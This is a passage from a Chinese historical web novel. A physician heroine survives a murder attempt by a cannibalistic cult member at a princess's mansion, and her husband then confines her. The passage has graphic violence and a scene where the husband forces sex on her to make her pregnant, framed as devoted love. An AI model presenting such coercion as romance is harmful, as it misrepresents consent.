侍立在门外的星月二奴听得碎裂声,“嘭”的一声将门锁住,大声喊了一句,“驸马爷发病了!” 电光火石,杨虬暴起攻击,隔着纱幔掐住慕容鸾音的脖子,“对不住了。” 碧荷瞠目,慌急上前解救,抡起背着的医箱狂砸杨虬后背,嘶声裂肺般喊叫起来,“放开我们姑娘!来人啊,杀人了——” 三人挣扎对抗之时,帐幔被扯落,慕容鸾音整个被裹缠在了里头。 杨虬被砸的疼了,不得不暂时放开慕容鸾音,转而夺下医箱摔烂在地,又回身向卷云几底下去抽长剑。 碧荷趁机从后面一把抱住杨虬腰身,疾声大呼,“姑娘快跑!” 此时,慕容鸾音已经把自己从帐幔里解救出来,惊见杨虬发狠揪扯住了碧荷的发髻要用剑刺她,浑身颤抖,捡起地上散落的药瓶脉枕就胡乱往他头脸上砸去。 杨虬暴怒,一剑划破碧荷箍在他腰上的手臂,碧荷大叫一声撒开手。 杨虬一脚将她踹翻,挥剑刺向慕容鸾音,追着她砍杀。 慕容鸾音跑了两步,腿脚酸软绊倒在地,就在杨虬长剑刺下时,又被碧荷抱住了腿。 杨虬狠戾狞笑,照着碧荷后背就狠刺了两下。 碧荷疼的五官扭曲,却仍死死抱着杨虬的腿不撒手。 慕容鸾音回眸一望,目眦欲裂,竟不知从何处生出的勇气,咬牙爬起来,抱起一个大花瓶就照着他的头砸去。 杨虬没想到碧荷的力气那般大,竟被牵制的动弹不得,被砸的头晕目眩,暴怒发狠,又给了碧荷深深一剑。 碧荷吐血。 与此同时,慕容鸾音捡起地上的金针布包,夹了两根长针在手,又拿起一个青瓷美人觚砸向杨虬。 这一次,杨虬拔出剑来,砍落美人觚,两眼怒睁。 可就在美人觚自半空坠落的同时,慕容鸾音向他双目射出了两根金针。 杨虬没防备,“啊”的一声惨叫,紧急闭眼,可已经来不及了,金针刺入眼珠,他虽拔出,眼前一片血色模糊。 “我要杀了你!” 慕容鸾音见他发狂,胡乱挥剑,慌忙躲避,又拿起桌上果盘,用尽力气向远处掷去。 杨虬听着动静追过去砍杀。 趁此时机,慕容鸾音扑向碧荷,按住她汩汩流血的伤口,浑身颤抖,脑海中一片空白。 彼时,碧荷已经晕死过去。 那边厢,杨虬绊在桌子腿上摔倒在地,竟就那么翻过身来仰躺着,任由血水从眼角流淌而下,嗬嗬怪笑。 香炉中,白烟袅袅升腾。 慕容鸾音察觉自己竟像是要睡去一般,慌忙扇了自己好几巴掌,爬着去把金针布包拿到手里,把手上血 水在衣裙上擦干净,捏出金针来就扎在碧荷几处要穴上。 “碧荷姐姐,我会救你的,我能救你,一定能……” 白烟在空气中扩散开,越来越浓郁。 慕容鸾音眼皮闭合,她蓦的把嘴唇咬出血来,迫使自己再度睁眼,直至扎下最后一针,才支撑不住倒在了碧荷身侧。 与此同时,萧远峥闯进公主府,见到守在二门上的赵荆阎大忠,听得说,只一个碧荷陪着进去了,心慌的仿佛要跳出口腔。 庆和大公主正在训诫儿子杨惠风,听得萧远峥无礼闯入,顿时大怒,下令召集府中侍卫来拿他问罪。 萧远峥再也顾不得其他,夺过阎大忠随身的长刀就杀了进去。 待得终于杀进祈月楼,踹开门的一刹那,当他看见慕容鸾音躺在血泊之中,满脸满嘴都是血,心口窒痛,喉咙涌上腥甜,一口血就喷了出来。 他的脑海在一瞬间死寂,手中血刀坠落,缓步走向慕容鸾音,瘫坐下来,把她小心翼翼抱在怀中,轻柔的抚着她的脸,看着她看着她,眼前模糊着模糊着一片黑暗。 门开了,烈烈寒风吹了进来,吹散了空气中散布的迷药。 慕容鸾音被勒的疼了,缓缓苏醒过来,睁开眼看见萧远峥嘴角流血,眸光冷寂,心里慌疼起来,“峥哥哥,你受伤了?” 慕容鸾音挣扎着从他怀里抽出手来,捧着他的脸,泣声哭喊,“你别吓我。峥哥哥、峥哥哥你是哪里伤着了,我这就为你治,我能的,我一定能救你!” 萧远峥听得慕容鸾音的哭泣声,耳中一阵蜂鸣过后,眼前黑暗散去,待得他看见慕容鸾音鲜活的泪眼,再度吐出一口血来。 吓的慕容鸾音脸色惨白,挣着要去拿地上的金针。 “你伤在何处,我看看!”萧远峥慌忙去擦她脸上嘴上的血。 “我、我没伤着,是碧荷姐姐拼死护着我,是她被大驸马杨虬扎了好多剑,流了好多血。” 说到此处,想到方才经历的九死一生,蓦地抱住萧远峥就颤抖着哭道:“杨虬、杨虬要杀我,他、他说他发病就想吃人。” 这时众公主府侍卫打败赵阎二人,护着庆和大公主母子走进楼内,庆和大公主甫一听见这话就怒喝道:“休得胡吣!” 那原本仰面躺在地上的杨虬,听到楚凤鸣的声音,缓缓站起来,张开两臂,风拂弱柳似的四处找人,夹声哭道:“殿下,您在哪里?我被慕容夫人扎瞎眼睛了,您要为我做主啊。” 楚凤鸣见他这副柔弱无依的模样,立时心疼了,出声道:“风儿,还不快去把你父亲搀扶过来。” 杨惠风冷眼看了杨虬两眼,这才走过去,扯着他一片袖子带到了楚凤鸣面前。 楚凤鸣看着杨虬紧紧闭合往下淌血的眼睛,心中震怒,转脸冷冷睥睨慕容鸾音,“你竟敢扎瞎我的驸马,吾要你拿命来偿。” “是他佯装发病先要杀我!”慕容鸾音惧怒交加,泣声道:“他还把我的婢女刺成重伤。而且、而且他还说自己发病时骨骼奇痒,想要吃人,这般邪恶的病,我父亲就亲手诊治过一例,大公主,您若打定主意以权势压我,要我偿命,我就敢张扬出来,告御状!” 楚凤鸣凤眸一横,顿起杀意。 萧远峥站直身躯挡在慕容鸾音前面,掏出帕子来,一边擦拭唇畔的血迹一边淡淡道:“我妻所言之事,我也从我祖父那里得知了,大公主若想杀人灭口,怕是连我们祖孙一起杀才行。但在此之前,我得了陛下的圣谕,凡是发现患有此等邪病的,都要抓进大理寺狱严加看管起来。所以,我要带走大驸马杨虬,若大公主阻拦,那就是抗旨。” 话落,自怀中掏出“如朕亲临”的金牌,给楚凤鸣看了一眼又收了回去。 楚凤鸣收敛怒火,冷声道:“我的驸马没病!” “大公主神通广大,应当知道白玉京这个邪教,也应当知道玉在山的事情,他如今被关在大理寺狱,没有人肉供给,发病了,吃掉了一个狱卒,还吃掉了自己的胳膊和脚。玉在山供出了杨虬,指认杨虬就是给他提供人肉的人。而据我所知,大公主为杨虬在北郊办了一所悯老院,一所慈婴堂,想必这就是杨虬人肉的来源。如此,大公主是主谋,还是帮凶?我会如实上禀陛下,请陛下圣裁。” 楚凤鸣心口惊颤,冷傲道:“那又如何,我没染病,左不过被父皇痛骂一顿。我只是、只是太过宠爱自己的驸马,为了减轻他发病时的痛苦,豢养了些低贱的药引子,若没有我收养,那些药引子也早就死了,是我养着他们,他们才能多活几天!” 萧远峥蓦地攥紧双拳,冷冷逼视楚凤鸣。 慕容鸾音听她竟是如此视人命如草芥,气的咬牙切齿,忽的想到华云岚摔掉的九月胎,和只因得了腹绞痛就莫名其妙死了的那孩子,心中惊疑起来,禁不住道:“大公主,你的驸马吃人,你就帮他养药引子,那、那你死去的两个亲孙儿呢?” 杨惠风自从听到杨虬吃人,自己的亲娘又帮他养药引子的事情,就两眼发直,浑身僵硬了,忽的又听见慕容鸾音问出这样一句,登时就惊恐的瞪大眼睛,“不可能!” “都闭嘴!”楚凤鸣权衡一番后,冷冷看着萧远峥道:“你竟什么都知道,看来我父皇已是信重你到了骨子里。既如此,我也知道,我做下的事情是瞒不过去了。父皇那里,我自会去解释。你想带走杨虬就带走吧,他罪孽深重,早该被赐死了。” 萧远峥拱手一揖,垂眸道:“大公主深明大义。” 就在这时,杨虬猛地锁住楚凤鸣的脖子,攥着一片锋利的碎瓷抵在了她的颈动脉上。 他的暴起发难,谁都没防备。 在场众人皆是愣了一瞬。 “杨虬,你竟敢如此对我!”楚凤鸣呆滞一瞬,紧接着就是不敢置信的暴怒。 杨虬猛地用力,刺破她一点血皮,“都不要过来!谁敢上前一步,我就割断这淫/妇的大血管!” 杨惠风慌忙后撤一步,怒道:“杨虬,我母亲是尊贵的嫡长公主,你敢杀她,就是诛全族的大罪!” 萧远峥眸光微亮,低头与慕容鸾音对视一眼,立在原处一动不动。 慕容鸾音护着躺在地上不能挪动的碧荷,冷眼看着。 杨虬嗬嗬笑出来,“杨惠风,你那两个孩儿,我切成鱼脍都吃了,味道真是鲜美啊。对了,都是你母亲谋死后,趁热给我的哦。” 杨惠风惊恐愤怒到极点,浑身僵硬,嘴巴痉挛抽搐,竟吐不出一个字来。 萧远峥和慕容鸾音听了,也都震惊之极。 “驸马,我知道你受委屈了,只要你把碎瓷片扔了,我不会追究,我们还像从前那般恩爱,如此可好?”楚凤鸣当即摆出温柔姿态,柔声安抚。 杨惠风终于止住痉挛,开口就哭了出来,“娘,他说的是真的吗?那可是你的亲孙子呀!” “你闭嘴!救我性命要紧!” 杨虬高嗬嗬笑起来,蓦地又将碎瓷片推入楚凤鸣血肉一分,“淫/妇!到现在你还不明白吗?我早已知道杨惠风是你和钱丰的奸生子,我早就恨透了你。可笑,你竟还以为能用花言巧语哄得我回心转意。你闭嘴吧,再敢狡言一句,我即刻让你喷血而死!” 楚凤鸣感受到温热的血水自伤口处流下来,身子渐渐颤抖起来,脸色煞白,一声不敢言语。 萧远峥心想,楚凤鸣养人为药引子虽是罪大恶极,但倘若死在自己面前,不好向陛下交待。随即,就缓步走向 杨虬,准备伺机施救。 “萧大人止步!”杨虬蓦地抬头盯住萧远峥,“萧大人,我自知罪孽深重,早该以死谢罪。但始终苟且偷生,就是不甘心。我有一腔冤屈无人可诉,终于等到今日天时地利人和,我想请你断一断我与楚凤鸣之间的恩怨情仇。” 萧远峥观他神色冷静中透着向死的疯狂,怕一言不顺惹他真的对楚凤鸣下死手,当即顺着他的话安抚道:“你说吧,我听着。” 杨虬胸腔剧烈起伏,眼泪混合着血水流了下来,“十八年前,楚凤鸣到陇西崔氏为她祖母祝寿,我家与崔氏有亲,我也去了……” 却原来,在那场寿宴上,楚凤鸣对杨虬一见钟情,但那时杨虬已经有了两情相悦的未婚妻柳幼君,楚凤鸣为得到杨虬,使计毁了柳幼君的清白致使两家婚约解除,杨虬之父得知楚凤鸣看上了杨虬,为攀上这金枝,强压着杨虬促成了这桩婚事。 婚后,楚凤鸣为得杨虬之心,花招百出,杨虬感受到楚凤鸣爱他的真心,就渐渐也爱上了她,交付了真心。 甜蜜的日子过了两年,楚凤鸣对杨虬就渐渐生了腻烦,她的本性慢慢暴露了出来。便有一日,杨虬撞见楚凤鸣和公主府侍卫统领钱丰在榻上交/媾,他怒极,持剑要杀钱丰,反被钱丰打倒在地羞辱了一顿,自那以后,楚凤鸣彻底不装了,杨虬才彻底知道,不止一个钱丰。 但因钱丰曾是楚凤鸣的近卫,又有颇为可观的男性雄风,是楚凤鸣的第一个男人,他就以正夫自居,在公主府内处处打压他。杨虬那时还爱着楚凤鸣,醋恨交加之下,就生出了除掉钱丰的恶念,就偷偷去打听何处可雇佣杀手,他这边露出痕迹,那边闻着腥味就引诱着他入了昌乐楼。 昌乐楼是白玉京引诱人入教的地方。白玉京为他神不知鬼不觉的除掉了钱丰,也自此掌握了他的把柄。 杨虬自我宽慰,至少楚凤鸣只给他生了孩子,这代表,他是楚凤鸣最爱的那一个。但事与愿违,随着杨惠风一年年长大,相貌越来越像钱丰,他终于不能再自欺欺人,生出了无穷的恨意来。 后来,他受邀参加了白玉京的极乐长生宴,服食了长生丹,才知道自己那一念恶起,就被地狱的恶鬼盯上了,终是把自己也变成了吃人的恶鬼。 可这一切罪恶的根源是楚凤鸣,凭什么他变成了吃人恶鬼,日夜承受煎熬,而楚凤鸣高高在上,子孙满堂,一点报应都没有。 他恨啊!恶念再起,他再次向白玉京求助,要报复楚凤鸣,不久后,他就与白玉京派来的仙使里应外合,一方面,在楚凤鸣到般若寺祭奠亡母和皇弟时,安排了一位“高僧”为她讲经说法,让她相信,楚氏皇族是紫微大帝下凡为人皇时留在人间的血脉,血脉中有天神之力可解百毒。 另外一方面他利用自己的美貌,伺候的楚凤鸣欲/仙/欲死,在床榻之上,博得她的怜爱不舍和愧疚,暗示她可用她的血给他治病。 楚凤鸣是个断一根头发都要大发雷霆,掌掴丫头的人,如何肯委屈自己。紧接着杨虬就利用她瞧不起儿媳华氏这一点,暗中挑拨,引得楚凤鸣对华氏从瞧不起,到厌恶,再到痛恨。终于水到渠成,楚凤鸣恨屋及乌,把华氏生的都弄了给他吃! 杨虬蓦的掐紧楚凤鸣的脖子,恨声道:“你可知道,我更想生喝你的血,生吃你的肉!你这淫/妇,平素便把自己捧的菩萨一般,遇到个‘高僧’对你下跪,说你是紫微大帝的血脉,说你是神女下凡,可算是说到你心里去了,我呸!你就是个毒蛇艹的贱淫/妇!今日我终于能痛痛快快说出来了,还说给了外人听,也算出了一口恶气,但这还不够,你毁了我一生,我要拉你一起下地狱!” 电光火石间,杨虬就要割断楚凤鸣的颈动脉,不知何时杨惠风潜匿到了杨虬身后,在地上捡起一把剑就捅在了他后背心上,赤目大吼,“还我儿命来!” 杨虬生受了这一剑,手一抖,碎瓷片落地,只是一瞬他蓦地狠狠掐住楚凤鸣,一口咬住了她的耳朵。 杨惠风疯了似的在后面捅他,他用尽最后力气活生生把楚凤鸣的耳朵整个咬了下来,才终于支撑不住,松了手,玉山一般倒了下去。 楚凤鸣亦惨叫一声晕了过去。 慕容鸾音看着这一切,先是震惊到无以复加,慢慢听着,只觉满心悲凉,堵的难受。 萧远峥上前夺走杨惠风手里的剑,冷声道:“够了。” 杨虬背上已是布满血洞,他如玉的侧脸贴着冰冷的地面,血泪流淌,“萧、萧大人,我有罪,但……没错……” 杨惠风赤目怒吼,“你拦着我做什么,他不该死嘛!” “已经死了。”萧远峥皱眉道:“罢了。杨惠风,现在救治大公主是要紧。” 杨惠风听了,恨恨看向楚凤鸣,拳头紧握。 这时一直守护着碧荷的慕容鸾音就赶忙道:“大公主这伤口需要缝合,我可以救治,府上可有烈酒,需得烈酒清洗伤口才行。” “来人,去搬烈酒来!” 躲在外头的侍卫们,当即就一起去了。 这时楚凤鸣疼醒了过来,摸向自己的右耳处,瞬间暴怒哭嚎起来,“我的耳朵——” 杨惠风攥紧的拳头蓦的松开,在杨虬尸体旁捡起血耳递给楚凤鸣,冷笑道:“闭嘴,还嫌不够丢人吗?这就是你淫行无忌得到的报应,给你,拿去下酒吧。” 话落,径直将那血耳扔她脸上。 少顷,侍卫抬了烈酒来。 慕容鸾音不管那对母子如何,当即把赵荆阎大忠召到跟前,让他们把碧荷背上衣料撕开,用烈酒清洗伤口。她则找回自己残破的医箱,在里面找出金针和桑皮线,以烛火烧针,烈酒浸线,又让赵阎二人压住碧荷头脚,她就捏起碧荷的皮肉,咬牙为她缝合伤口。 碧荷疼醒过来,白着脸呻吟,冷汗如雨一般从额上滚滚而落。 慕容鸾音听到碧荷的呻吟声,当即落泪,“还有反应就好,还有反应就好,我能救你的,我一定能救活你,碧荷姐姐你忍忍。” 就在这时,有侍卫来报说,萧大人的舅兄慕容韫玉带着一群壮仆在在门外求见。 萧远峥当即看向杨惠风。 杨惠风心知带着一群壮仆在别人家门外徘徊,可不是求见的姿态,分明是来要人的。他娘还没死呢,一介商贾竟也有胆子上门示威,可恨! 但是,他奸生子的身份已经曝光,即便他是他娘唯一的儿子,也是名不正言不顺。而萧远峥,手握重权,眼瞅着在不久的将来就是首辅,只能交好,不能得罪。 当即就道:“萧大人,看在你的面子上,我不追究,你给句话,让门外那群人散了吧。” “多谢。”萧远峥便扯下随身佩戴的一枚翠玉竹节玉佩交给一个侍卫做信物,嘱咐道:“你把这个交给我舅兄,他便知道我和他妹妹都平安无事,让他不要担心。再则让他去大理寺找孟凡尘,让孟凡尘带人来收尸。” 那侍卫答应一声立马去了。 那边厢,慕容鸾音也把碧荷背上的伤口都缝上了,又撒了金疮药。 赵荆见状,当即脱下身上夹棉氅衣盖在碧荷身上。 萧远峥见碧荷身上盖了氅衣,就问杨惠风要春凳。 杨惠风应了,当即就吩咐下人去抬。 楚凤鸣亲眼看见慕容鸾音把碧荷的伤口缝合上后,当即就命令她为自己缝上耳朵。 慕容鸾音恭敬行礼后,只道她的耳朵已经被杨虬咬烂了,哪怕勉强缝合,也对不齐,还有愈合不上溃烂的风险,说不得还会扩大溃烂,牵连到脸部,倒不如舍弃,请她自己定夺。 楚凤鸣倒也有两分决断,当即选择舍弃耳朵。 待得慕容鸾音为楚凤鸣缝合好后,公主府的下人也把春凳送了进来。 萧远峥当即吩咐赵荆阎大忠把碧荷抬上春凳,亲自把慕容鸾音送到国公府瑞雪堂,才安心离府,进宫去了。 却说慕容鸾音回到瑞雪堂后,先是把碧荷安顿到耳房中,看着她喝下汤药,安稳昏睡了过去,才去沐浴更衣。 茯苓冬青等丫头,终于得见她回来,心里虽都担心着碧荷,但也都偷偷高兴。 这一日的经历,既惊险又耗费心神。 慕容鸾音沐浴后,用了些饭食,在榻床上躺了一会儿就支撑不住睡了过去。 这一睡就到了半夜,碧荷高烧不退,茯苓才不得不把她叫醒。 慕容鸾音当即为碧荷施针,亲自在床前守了半夜。 这一夜,萧远峥未归。她知道,必然是进宫禀报了皇帝后,为楚凤鸣杨虬弄出来的这些恶情,调查取证,收拾善后去了。 翌日,天阴落雪,慕容韫玉来瞧了慕容鸾音一回,知她安然无恙,问了些在公主府发生的事情,嘱咐她安安稳稳在国公府里待着,就走了。 慕容鸾音也是心有余悸,知道国公府到底是比旁处安全,更怕白玉京一计不成,再来一计更歹毒的,让人防不胜防,就乖乖听了,整一日,守着碧荷连瑞雪堂的院门都没踏出过。 不知不觉天又黑了下来,慕容鸾音在暖阁内躺着,一边听着落雪声一边琢磨,峥哥哥今夜应该能回来了吧,她有许多话想和他说,也想知道圣上会如何处置那位视人命为药引子的大公主,最好是狠狠打一顿板子,打个半死,然后关进尼姑庵,关到死,哼! := 茯苓把厅上的灯吹熄,放下珠帘和帐幔,轻步走进暖阁,检查了一遍茶奁内的水,是满的,热的,就道:“夜深了,姑娘睡吧。” “你也去吧,留心听动静。” 茯苓会心一笑,“知道。” 说完这一句,就退出暖阁,在次间大榻床上和衣而卧。 约莫到了子时,半睡半醒的茯苓忽听得敲窗声,一骨碌坐起来,凝神听见一道熟悉的“开门”声,忙忙下榻,把门打开,后退一步,恭敬行礼。 “出去吧。” 茯苓轻一点头,连忙踏出门槛往耳房去了。 萧远峥回身把门插上,脱下鹤氅扔在罗汉床上,又在莲花香炉旁烤去身上霜雪的冷气,这才拨开珠帘与帐幔,走进了暖阁。 暖阁内,胭脂红蝶恋花纱帐低垂,透出莹莹光晕。 他轻轻拨开,便见床头柜上亮着一盏她喜欢的粉色琉璃莲灯。 灯亮着,她在等他。 粉光灯色里,她一头青丝披散在鸳鸯香枕上,酣睡着,鲜活娇媚,莹润生香。 可就在前一日,他差一点就彻底失去了她。 慕容鸾音正睡着,忽觉唇瓣被叼了去就惺忪着睁开眼。 “峥哥哥……” “呜……” 她醒了,他就再无顾忌。 窗外,风狂雪大,拍打着枝头的山茶花,摇摇晃晃,欲坠不坠。 慕容鸾音想着他为她吐出的那两口血,心里酸胀,便紧紧攀着,与他缠吻,难分难舍。 一回事毕,她身子酥软,就在他耳边吐息,撒娇道:“我困了,歇息吧。” 一边说着就想离开他的怀抱,谁知却蓦的被按了回去。 慕容鸾音轻叫一声,媚声娇气的道:“饶了我吧。” “阿音。”萧远峥把慕容鸾音的头按到自己的颈窝里,抚着她纤细的后颈道:“我回府之前见了舅兄一面,问他要了生子秘方,他说,事后在你身下塞一个枕头,事半功倍。稍做一想,我便明白了这则生子秘方的关窍是堵住不许流出。你以为如何?” 慕容鸾音顿时又羞又气,垂他胸膛道:“你、你怎得这样无耻了!” “你逼的。” 慕容鸾音一听,原本只是两分的气恼,忽的变作七分,但想着他待她的一片真心,就压着脾气和他分说,“白玉京对我们的威胁太大了,这个境况,我们不能再生个软肋出来担惊受怕。你出去。” 一边说着一边挣扎着想推开他。 萧远峥蓦地收紧两臂,一掌紧贴着慕容鸾音的后背,一手环住她腰肢,道:“别动!” 慕容鸾音忽觉出他的变化,本就粉艳的脸越发像熟透的水蜜桃。 “我没准备好,不想生,出去出去!” 萧远峥见她气恼落泪,便侧过脸去咳嗽了两声。 慕容鸾音见状,什么都顾不得就忙关心道:“你前日为我吐了两口血,又顾不得诊看就又马不停蹄去查案,处理公事,可别落下什么后遗症才好,你放开我,我给你诊诊脉。” “不要紧。”萧远峥抵住她额头,柔声道:“阿音妹妹,你可知那时那刻仿佛心肝俱裂般的窒痛,让我只要回想起来就会喘不过气来。你乖一点,在白玉京未铲除之前,不要离开瑞雪堂半步,可好?” 一霎,慕容鸾音明白了他今夜行此无耻之事的目的。 “你、你竟然想用生子,把我困在这方院子里?原来、原来在梦境中,把我困死在这里的是你!” “是。哪怕你恨我,我也要这么做。阿音,我不能失去你。” 第67章 第067章孝与爱慕容…… 慕容鸾音认定梦境中是萧远峥把她困死在瑞雪堂后,一霎就恨他恨的要命,抬手就是一巴掌。 萧远峥不躲不避生受了,蓦地将其压在鸳鸯枕上,猩红着眼道:“你梦境里的,我不认!我只知道,在看见你倒在血泊里时,我以为你死了,在那一刻,什么白玉京,什么家族责任,什么权势富贵,都化成了虚无。我就发狠,要把你禁在瑞雪堂,我只要你活着!” “你疯了!我不要……” 窗外,风雪席卷,山茶树抵抗不得,落红满地。 纱帐内,慕容鸾音仰面躺着,唇瓣红肿,满面泪痕,咬牙道:“我恨你。” 萧远峥见她泪眼衔恨,心中窒痛,“恨吧。” 慕容鸾音心口一窒,剧烈喘息,冷笑道:“便是今夜你用此无耻强硬手段让我坐了胎,只要我想,我也能打掉,你休想用孩子捆住我。” “你果真是恨我了。”萧远峥见她眼中泪尽,只剩浓浓的恨意,心痛如绞,把脸埋到她颈窝里,哽声道:“别伤害自己,不生就不生,我只要你呆在瑞雪堂哪里都不去便可。阿音妹妹,我多想把你揣在心口上……我爱你。” 慕容鸾音蓦地心口一颤,酸胀上涌,又感受到自己颈窝里的湿意,便知他哭了,控制不住,眼中又聚满了泪水,泣声道:“你怎么能这么可恶,让我爱的心酸,恨的心痛……” 萧远峥听她此话,只觉满心酸胀,爱意更浓,深怕今夜真坐了胎后,她会用激烈手段堕胎伤身,便急忙忙叫了水,亲自抱她到浴桶中,洗净后,又抱回床榻小心翼翼搂了一夜。 翌日天亮,便不得不更衣上朝去了。 他一走,慕容鸾音就睁开眼,静静躺着望着床顶出神。她知他是因为杨虬谋杀她一事,怕极了才想把她囚禁在瑞雪堂保护起来。可是,白玉京早在十一年前就用邪恶之毒谋死了嘉懿太子,连一国太子都能被弄死,若这邪教铁了心一定要她死,呆在瑞雪堂就能躲过吗? 就在这时茯苓拨开纱帐走了进来,隔着床帘子轻声道:“姑娘醒了吗?” “醒了又如何,又不能出去。”慕容鸾音消沉道:“想必院门口已经多了两个守门的吧。” 茯苓忙道:“姑娘怎知,奴婢就是要禀报此事,奴婢本想去提早膳,一开门就发现观棋流星像两尊门神一般守在门外,腰上还都挂着剑,不许我出去,我说要去提早膳,观棋就说姑娘的早膳已备好,没过一会儿南柯霓生就抬了大食盒送到门口,观棋打开食盒,竟胆大包天先品尝了一口,奴婢怒问这是何故,观棋竟说是为您试毒。奴婢心里一忖度,就害怕了,连忙回来告诉您。” 慕容鸾音一骨碌坐起来,气极反笑,“我怎不知,他原来竟是这样一个懦夫,怕到这般境地。把观棋叫进来,我倒要问问他,他主子给他下了怎样的命令,我若要强闯出去,又奈我何!” 待得慕容韫玉来时,一踏入瑞雪堂,就见慕容鸾音盘腿坐在罗汉床上发呆,头也不梳,妆也不画,还穿着一身鹅黄睡裙。 床前海棠桌上摆了两个铜鼎,鼎里是已经看不清原本食材的炖菜。 地上跪着一个青衣小厮,小厮脖子上缠着一圈白布,手里紧握一把沾血长剑。 慕容韫玉顿时大惊大怒,“你这小厮我还记得名字,是常跟在妹丈左右的观棋不是,怎得拿着血剑在厅上,是要弑主吗?” 观棋连忙转过身来对着慕容韫玉磕一个头,苦着脸道:“回禀舅爷,给小奴十个胆子小奴也不敢弑主啊,是、是世子爷下的命令,要小奴守着瑞雪堂的院门,保护夫人,又怕被坏人钻了空子,在饭菜里下毒,就下令以后夫人的饭食都是高温烹煮的炖菜,还让小奴给夫人试毒。倘若小奴拦不住夫人,就让小奴死在夫人面前。小奴不敢不照做。” 慕容 韫玉一听便知怎么回事了,忙道:“你也是忠心,脖子上的伤怎么样?” 一边说着一边就去掏袖袋。 “不碍事,夫人心善,见我破了点油皮就忙忙的让冬葵姐姐帮我上了药包上了。” 慕容韫玉把一袋金瓜子塞观棋手里,拍拍他的背道:“好孩子,这里没你的事儿了,出去吧。” 观棋不敢走,抬眼怯生生去看慕容鸾音。 慕容鸾音抿抿嘴,无力道:“滚。” “谢夫人,夫人慈悲。”观棋连忙磕一个头,攥紧钱袋子退了出去。 慕容鸾音抬眼睨向慕容韫玉,哽咽道:“你和他是一伙的。” 慕容韫玉连忙走到慕容鸾音对面坐下,哄道:“那日我虽不在场,可是听他一说,我心里也吓个半死,若非碧荷有练过功的底子在,若非她对你忠心耿耿,你就死了!” “死就死,我宁愿痛快的死去,也不想被钝刀子割肉!” 话落,捂着脸哭起来。 慕容韫玉顿时气道:“你这话我却是不懂,我们不都是为了你好嘛。再说了,让你在瑞雪堂待着哪里也不去,只是暂时的,待得妹丈彻底铲除了白玉京,你自可得自由。阿音,你听话。” 这时,两个嬷嬷抬了一个黄杨木大板箱进来。 慕容韫玉就道:“你把那想做家主的心思熄了吧,现如今保命要紧。我也怕你待在这一隅之地,时间长了苦闷,就把父亲书房里收藏的所有医书一股脑都给你送了来。父亲把自己半生行医的感悟和经手过的病例也攒成了一份书稿,他清醒时嘱咐我交到你手上,你且看着,若都看完了,背会了,我再去给你搜罗。” “我不是想做家主,而是、而是……” 慕容韫玉瞥眼看她泪眼朦胧,可怜兮兮,怕自己心软,连忙起身,板着脸道:“什么都别说了,现如今你只管待在瑞雪堂,生儿育女是本分。你需明白,你这条小命还牵系着妹丈的命,我也是才明白,他对你情根深种至此等地步。妹丈若是被你牵连殉情,他死了,不止萧氏要大厦倾,咱们家也会被恶狼分食。现如今,不是你任性的时候,要顾全大局。那箱子里,除了医书,还有母亲亲自给你配的坐胎药,日日吃了,早些有喜,大家欢喜。” 话落,硬着心肠甩袖而去。 慕容鸾音僵硬的坐在那里,气怒交加,胸口窒闷,缓了缓才悲声低喃,“是啊,谁会相信你梦境里发生的事情呢,都以为将你囚在这里是为了你好。” 他们都以为囚你在瑞雪堂是暂时的,只要彻底铲除了白玉京就好了。可他们不知道,你没能等到白玉京被彻底铲除,就郁悔而终。 随侍在旁的茯苓冬葵,见慕容鸾音静默垂泪,一时都不知该如何解劝。 过了好一会儿,终是茯苓大着胆子有了动作,先去打开箱子看了看,果见有十来包药,就觑着慕容鸾音的神色,小心翼翼询问道:“姑娘,这药,奴婢现在指派人去煎可好?” 慕容鸾音抬起眼皮冷睨茯苓,“煎给你喝可好?” 茯苓脸色一白,慌忙跪地,哽咽道:“奴、奴婢错了。” 慕容鸾音深深吐出一口气,淡淡道:“当做柴炭,放在火盆里烧了吧。” “是、是。” “把我的金针拿来。” 冬葵见茯苓吃了挂落,不敢迟疑,连忙快步去把整个医箱都提了过来,送到慕容鸾音手边。 慕容鸾音从里面拿出布包,打开来摊在自己腿上,抚摸着每一根金针,脑海里都是梦境中的那一幕,在她快死的时候,什么都是枯朽的,唯有金针历久弥新。正如现在她的处境,萧远峥要囚她,哥哥也断了她的后路,她发现当剥除了萧远峥之妻,慕容氏之女这两层身份后,她作为自己,能安身立命的,唯有一身自幼所学的医术。 自幼,为学得这一身医术所付出的艰辛,终于在这一刻真正体现出了价值。 今生,无论如何,我都不会辜负了这一身所学! 想到自己在情势危急之下,为救碧荷,竟做到了用金针射瞎了杨虬的眼睛,若她再专门去练一练,她这一手金针术,除了救人,也可自保了。 想到此处,心中的念头越发坚定。 慕容鸾音蓦的攥紧拳头,对自己目前的处境一一拆解分析起来,萧远峥和哥哥所作所为纯粹是想保她的命,那么舅外祖萧长生呢? 萧长生也想保住她的命,因为他怕萧远峥为她殉情。萧长生最想做的事情是什么? 是不让萧远峥被情爱牵制。 现在,她也不想被情爱牵制了。如何能让萧远峥不爱她? 想到此处,慕容鸾音心念一颤,蓦地想明白一个关窍。 梦境中,萧长生喝了她亲手熬制的莲子羹而死,她习惯性以为是别人给萧长生下毒嫁祸给她,由此让萧远峥迁怒她。 而现在,她心中浮现一个荒诞的答案,不是别人毒害了萧长生,是萧长生自己给自己下了毒,嫁祸给她,由此在萧远峥和她之间划下一道裂痕,切断萧远峥为她殉情的那根心弦。 假若,她这个答案是正确的,她现在要做的是…… “茯苓。” “奴婢在。”茯苓连忙止住焚烧药包的动作,眼巴巴看着慕容鸾音。 “想法子,把杨虬杀我,世子爷以为我死了,为我吐血伤了心脉的事情传到采篱园去。” “是,奴婢保证完成的又快又好。” 到了晚上,萧远峥回来,慕容鸾音将其拒之门外,言说,自己可以答应被囚,但从此以后不许他踏入瑞雪堂。 萧远峥心知,昨夜强了她一次,惹出了她的真恨,她能提出这般条件,在他预料之内,便应下了。只等她恨意消退,他再来哄得她回心转意便是。 此后,白日里,慕容鸾音便静心读医书,夜里就点灯熬油,把金针当做飞镖暗器来练习,但终究用于治病的金针是有些软弹的,便又秘密让茯苓出去,打造了一套粗长些的银针。 一晃就到了除夕这日。家家户户除旧迎新,合家团聚。 国公府上下人等也都忙碌了起来,但每一个人,脸上都不敢带喜色。只因十一年前,在别人家都欢欢喜喜迎新年的时候,萧长生痛失爱子,萧远峥痛失双亲,整个国公府一片白。此后每一年,入了腊月之后,满府沉寂,无人敢大说大笑。 日上三竿,慕容鸾音在大榻床上坐着,已是将慕容文博的医稿全部翻阅了一遍。 